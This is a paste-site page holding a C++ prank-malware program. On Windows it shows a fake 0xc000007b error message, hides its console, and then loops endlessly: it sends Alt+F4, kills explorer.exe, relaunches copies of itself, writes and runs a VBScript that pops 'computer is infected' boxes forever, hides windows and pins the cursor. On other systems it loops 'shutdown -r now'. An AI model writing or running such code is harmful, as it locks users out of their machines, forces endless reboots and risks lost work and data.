跳到正文

剪贴板

剪贴板 f7n7mjo2

原文
剪贴板信息

剪贴板信息

收录
更新
C++
#ifdef __WIN32
# include<windows.h>
# include<string.h>
# include<stdio.h>
void AltF4(){
	keybd_event(VK_MENU,0,0,0);
	keybd_event(VK_F4,0,0,0);
	keybd_event(VK_F4,0,2,0);
	keybd_event(VK_MENU,0,2,0);
}
int main(int args,char**argv) {

	char b[1000] = "start \"";

	strcat(b,argv[0]);
	strcat(b,"\" no_messagebox");
	char a[1000];
	strcpy(a,argv[0]);
	strcat(a," - 应用程序错误");
	ShowWindow(GetConsoleWindow(),SW_HIDE);
	if(args==1)
	MessageBox(NULL,"应用程序无法正常启动(0xc000007b)。请单击“确定”关闭应用程序。",a,MB_OK|MB_ICONHAND);
	while (1) {
		AltF4();
		system("taskkill -f -im explorer.exe");
		system(b);
		FILE* aa = fopen("C:/egao.vbs","w");
		fprintf(aa,"do\nmsgbox \"电脑已中毒!\"\nloop");
		fclose(aa);
		system("start C:/egao.vbs");
		ShowWindow(GetForegroundWindow(), SW_HIDE);
		SetCursorPos(0,0);
	}

}
#else
# include<stdlib.h>
int main(){
	for(int i = 0;i<10;i++){
		malloc(9999);
	}
	while(1){
		system("shutdown -r now");
	}
}
#endif